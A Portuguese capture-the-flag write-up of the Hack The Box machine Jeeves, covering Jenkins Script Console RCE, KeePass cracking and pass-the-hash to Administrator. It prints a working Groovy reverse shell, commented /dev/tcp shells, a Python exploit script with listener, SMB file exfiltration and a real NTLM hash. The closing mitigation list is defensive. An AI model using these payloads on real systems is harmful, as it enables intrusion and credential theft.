0xEtern4lW0lf
Hack The BoxMediumWindows

Jeeves

7 min de leitura
#RCE

Introdução

https://app.hackthebox.com/machines/Jeeves Jeeves é uma máquina Windows de dificuldade Medium da plataforma Hack The Box. O ponto de entrada é um servidor Jenkins exposto na porta 50000, vulnerável a execução remota de comandos através do console de scripts Groovy (Script Console). A partir do shell inicial, obtido como o usuário kohsuke, foi localizado um banco de dados de senhas KeePass (.kdbx) que, após ser quebrado, revelou um hash NTLM do usuário Administrator. Esse hash permitiu autenticação via pass-the-hash e escalonamento completo de privilégios até SYSTEM/Administrator. IP alvo: 10.10.10.63 O script de exploração automatizado utilizado para obter o shell inicial está disponível ao final deste relatório, na seção Anexos.

Escaneamento

O primeiro passo é enumerar a máquina. Para isso usamos o nmap.

ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.10.63 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -Pn -p $ports 10.10.10.63

O scan revela portas típicas de um host Windows (RPC, SMB) além de um serviço web adicional rodando na porta 50000.

Enumeração

Porta 80 (HTTP)

Existe uma página web simples. http://10.10.10.63

Fuzzing de diretórios web

gobuster dir -u http://10.10.10.63/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -e --no-error -r -x txt,php,html

Não retornou nada de interessante. Ao tentar o fuzzing na porta 50000, encontramos uma URL rodando a aplicação web Jenkins.

gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -e --no-error -r -x txt,php,html
===============================================================
http://10.10.10.63:50000/askjeeves    (Status: 200) [Size: 11521]
===============================================================

http://10.10.10.63:50000/askjeeves Essa aplicação, o Jenkins, já possui uma vulnerabilidade conhecida que permite obter uma reverse shell através do console de scripts. Isso é explorado no próximo passo.

Exploração

Explorando o Jenkins (Script Console)

O serviço vulnerável explorado nesta máquina é o Jenkins, através do seu Script Console. Trata-se de uma funcionalidade legítima do Jenkins que permite a execução de scripts Groovy arbitrários diretamente no servidor — quando exposta sem autenticação (como neste caso), ela se torna um vetor de execução remota de comandos (RCE) completo no host onde o Jenkins está rodando. Referência: https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6 No Jenkins, no campo “Script Console”, dentro de “Manage Jenkins”, existe uma área que aceita scripts Groovy. Nesse campo colocamos nossa “reverse shell em Groovy”. Nosso payload Groovy é colocado nesse campo. Como a máquina é Windows, configuramos para chamar um cmd.exe.

String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Depois de preparar um listener no kali na porta 443, clicamos em “Run” para executar o script e recebemos a shell de volta.

Pós-exploração

Ganhamos shell com o usuário jeeves\kohsuke.

Enumeração Local

Em C:\Users\kohsuke\Documents há um banco de dados de senhas.

Elevação de Privilégios

Vamos baixar o arquivo CEH.kdbx para o kali e tentar quebrá-lo com john the ripper. Download: No kali: impacket-smbserver share . -smb2support No alvo: copy CEH.kdbx //10.10.14.9/share/ Para quebrar a senha com o john, antes é preciso passar pelo keepass2john, que transforma o arquivo em um formato interpretável pelo john.

keepass2john CEH.kdbx > hash-kdbx

john hash-kdbx -wordlist=/usr/share/wordlists/rockyou.txt

Senha: moonshine1 Alternativa: usando Hashcat para quebrar a senha

hashcat hash-kdbx --user /usr/share/wordlists/rockyou.txt

Vamos usar a ferramenta keepassx para abrir o banco de dados.

keepassx CEH.kdbx

Dentro do banco de dados encontramos um hash NTLM. Vamos tentar usá-lo para autenticar como Administrator, com o psexec.

crackmapexec smb 10.10.10.63 -u "Administrator" -H "aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00"

Hash validado, o que confirma a possibilidade de pass-the-hash. Seguimos para o acesso administrativo com impacket-psexec.

impacket-psexec Administrator@10.10.10.63  -hashes "aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00"

Com isso obtivemos shell como Administrator/SYSTEM na máquina.

Obtendo a Flag de Root

No Desktop do usuário Administrator há um arquivo hm.txt dizendo para procurar a flag de root em outro lugar, mais adiante. Vamos então olhar para os Alternate Data Streams (ADS) do arquivo:

dir /R

Confirmamos a existência de um data stream. Para ler o conteúdo usamos o more:

more < hm.txt:root.txt

Anexos

Script em Python usado para automatizar a obtenção da reverse shell através do Jenkins Script Console. jeeves-getshell.py

#! /usr/bin/env python3

#### Title: Exploit Get Shell - RCE - Jenkins
#### Author: 0xEtern4lW0lf
#### Created: 23 Dez 2022
#### Description: Explore Jenkins - GetShell - Jeeves - HTB

#### ========= MODULES =========

import argparse
import requests
import socket, telnetlib
from threading import Thread

#### ========= VARIABLE =========

#### COLORS ####
RED = "\033[1;91m"
YELLOW = "\033[1;93m"
BLUE = "\033[1;94m"
GREEN = "\033[1;92m"
END = "\033[1;m "

## Set proxy [OPTIONAL]
#proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

#### ========= FUNCTION =========

## Banner
def banner():
  EwLogo = f"""

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⣀⠠⠤⢤⣤⣶⣴⣦⣤⣤⣀⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⡞⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⢿⣷⣄⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣄⠈⠉⠛⠿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⡯⣿⣷⡄⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠰⢾⣿⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢌⡻⢿⡆⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠝⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣷⡌⠿⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠋⠀⣸⣧⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⡄⠁
⠀⠀⠀⠀⠀⠀⠀⢀⣾⣏⣴⠟⢻⣿⠟⠛⠶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⢻⣿⡀
⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣴⠿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⢳⣜⣿⡇
⠀⠀⠀⠀⠀⣠⣾⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⢿⣿⡇
⠀⠀⢀⣤⣾⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠸⣿⠇
⢀⣴⣿⡿⠋⠀⠀⠀⠀⠀⣀⣤⣶⣶⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⢸⣿⡄⡿⠀
⢺⣿⡏⠀⠀⠀⠀⢀⣤⣾⣿⠿⠛⠋⠙⠻⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡝⣦⠀⣸⣿⡧⠃⠀
⠀⠈⠉⠀⢠⣤⣶⣿⡿⠋⠀⠀⠀⠀⠀⡀⠈⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡇⣿⣷⣿⣿⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠉⠉⠁⠀⠀⠀⠀⢀⡜⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡆⠀⠀⣼⡇⣾⣿⣿⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⢻⣿⣀⣾⣿⢡⣿⡿⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⡿⢣⣿⣿⣿⣿⣣⡿⠋⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⡿⠀⠀⠀⠀⠀⣀⣠⣤⣴⣶⣿⠿⣋⣴⣿⣿⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⡇⠀⢀⣠⣶⣿⣿⡿⠟⠋⠉⠐⠊⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣇⣴⣿⣿⡿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀{RED}#--------------------------------------------#
 _____  _                         ___  _  _    _  _____  _   __ 
|  ___|| |                       /   || || |  | ||  _  || | / _|
| |__  | |_   ___  _ __  _ __   / /| || || |  | || |/' || || |_ 
|  __| | __| / _ \| '__|| '_ \ / /_| || || |/\| ||  /| || ||  _|
| |___ | |_ |  __/| |   | | | |\___  || |\  /\  /\ |_/ /| || |  
\____/  \__| \___||_|   |_| |_|    |_/|_| \/  \/  \___/ |_||_|  
                                                                
#----------------------------------------------------------------# 
    
    Author: {GREEN}0xEtern4lW0lf{END}                           
    {RED}Site: {BLUE}https://0xetern4lw0lf.github.io/{END}

    FOR EDUCATIONAL PURPOSE ONLY.

  """
  return print(f'{BLUE}{EwLogo}{END}')

## Set the handler
def handler(lport,target):
    print(f"[+] Starting handler on {lport} [+]")
    tn = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0",lport))
    s.listen(1)
    conn, addr = s.accept()
    print(f"[+] Receiving connection the {target} [+]")
    tn.sock = conn
    print("[+] Habemus Shell! [+]")
    tn.interact()

# Define the payload to be included in the URL
def createPayload(lhost,lport):
    global payload

#   if target_system == "Windows":
    payload = '''String host="%s";
int port=%s;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'''%(lhost,lport)

#   if target_system == "Linux":
#    payload = '''r = Runtime.getRuntime()
#p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/%s/%s;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
#p.waitFor()''' %(lhost,lport)

#    r = Runtime.getRuntime()
#    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/%s/%s;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
#    p.waitFor()""" %(lhost,lport),}

## Get the reverse shell
def getShell(rhost,rport,payload):
    print("[+] Let's get the reverse shell [+]")
    url = f"http://{rhost}:{rport}/askjeeves/script"
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': '851',
        'Connection': 'close',
        'Upgrade-Insecure-Requests': '1',}

#    data = {
#    "script": """
#    r = Runtime.getRuntime()
#    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/%s/%s;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
#    p.waitFor()""" % (lhost,lport),}
    data = {
        'script': payload,
        'Jenkins-Crumb': '36267798ca3b6bfaf580958598da889c',
        'Submit' : 'Run',}

    ## If set proxy, add option "proxies=proxies"
    requests.post(url, headers=headers, data=data)

## main
def main():
    ## Parse Arguments
    parser = argparse.ArgumentParser(description='GetShell - Jeeves / HTB - 0xEtern4lW0lf')
    parser.add_argument('-t', '--rhost', help='Target IP address or hostname.', required=True)
    parser.add_argument('-p', '--rport', help='Port of the target machine.', type=int, required=True)
    parser.add_argument('-li', '--lhost', help='Local IP address or hostname', required=True)
    parser.add_argument('-lp', '--lport', help='Local Port to receive the shell', type=int, required=True)

    args = parser.parse_args()

    rhost = args.rhost
    rport = args.rport
    lhost = args.lhost
    lport = args.lport

    ## Set up the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()

    ## Print some information
    print("\n[+] Setting information")
    print("[+] target: ", rhost)
    print("[+] lhost: ", lhost)
    print("[+] lport: ", lport)

    ## Create the payload
    createPayload(lhost,lport)

    ## Get the Shell
    getShell(rhost,rport,payload)

#### ======= EXECUTION =======

if __name__ == '__main__':
    banner()
    main()

Mitigação

  • Não expor o Jenkins Script Console publicamente sem autenticação forte; restringir seu acesso a administradores de confiança e habilitar autorização baseada em papéis (Role-Based Access Control).
  • Tratar o Script Console como equivalente a RCE completo no host que roda o Jenkins — desabilitá-lo quando não for estritamente necessário.
  • Manter o Jenkins e seus plugins sempre atualizados, aplicando patches de segurança assim que disponíveis.
  • Não armazenar bancos de senhas (KeePass) protegidos por senhas fracas ou reutilizadas; usar senhas/passphrases fortes e únicas para o banco mestre.
  • Restringir o uso de contas com privilégios elevados para autenticação remota via NTLM/pass-the-hash (habilitar SMB signing, aplicar LAPS e restringir contas administrativas locais).
  • Seguir o princípio do menor privilégio: contas de serviço do Jenkins não devem ter privilégios administrativos no sistema operacional hospedeiro.
  • Monitorar e alertar sobre o uso de Alternate Data Streams (ADS) e atividades incomuns no sistema de arquivos NTFS, que podem indicar tentativas de ocultação de dados.